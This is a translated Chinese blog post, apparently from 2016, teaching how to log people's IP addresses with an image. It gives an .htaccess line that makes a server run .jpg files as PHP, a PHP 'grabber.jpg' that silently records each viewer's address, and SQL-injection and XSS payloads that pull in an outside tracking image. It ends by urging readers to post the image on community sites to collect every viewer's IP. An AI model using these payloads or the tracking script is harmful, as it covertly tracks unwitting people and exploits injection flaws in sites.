如何通过一张照片来获取ip地址?

14602575469531 (1).jpg

前言

PHP如何获取访问的用户真实的IP呢?
可以用下面程序段获取:

//获得访客真实ip
function Get_Ip_Addr(){
    if(!empty($_SERVER["HTTP_CLIENT_IP"])){
        $ip=$_SERVER["HTTP_CLIENT_IP"];
    }
    if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){//获取代理ip
        $ips=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
    }
    if($ip){
        $ips=array_unshift($ips,$ip);
    }
    $count=count($ips);
    for($i=0;$i<$count;$i++){
        if(!preg_match("/^(10|172\.16|192\.168)\./i",$ips[$i])){//排除局域网ip
            $ip=$ips[$i];
            break;
        }
    }
    $tip=empty($_SERVER['REMOTE_ADDR'])?$ip:$_SERVER['REMOTE_ADDR'];
    if($tip=="127.0.0.1"){//获得本地真实IP
        return get_onlineip();
    }
    else{
        return $tip;
    }
}

//获得本地真实IP
function get_onlineip(){
    $ip_json=@file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=myip");
    $ip_arr=json_decode(stripslashes($ip_json),1);
    if($ip_arr['code']==0)
    {
        return$ip_arr['data']['ip'];
    }
}

正文

今天早上起床之后,我看到一篇关于“使用sql注入语句获取ip地址”的文章,对此我很感兴趣,就仔细阅读了一下,在读完这篇文章之后,我有了一个新的想法:

通过对htaccess的利用,实现用一张照片获取他人的ip地址

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。
下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php

$fh = fopen('ip_list.txt', 'a');

fwrite($fh, $_SERVER['REMOTE_ADDR']."

");

fclose($fh);

$im = imagecreatefromjpeg("n00b.png");

header('Content-Type: image/jpeg');

imagejpeg($im);

imagedestroy($im);

?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。
就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。
(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:
(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)
至此,我们的照片已经可以开始工作了。
接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src="http://leettime.net/idiots_test_lab/imageip/tryme.jpg">&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

谢谢您的阅读,Happy Hacking!

*原文链接:securityidiots,watcher编译,转自FreeBuf黑客与极客

posted @ 2016-04-13 09:31:00 kuye 阅读(6074) 评论(0)
发表评论
昵称
邮箱
网址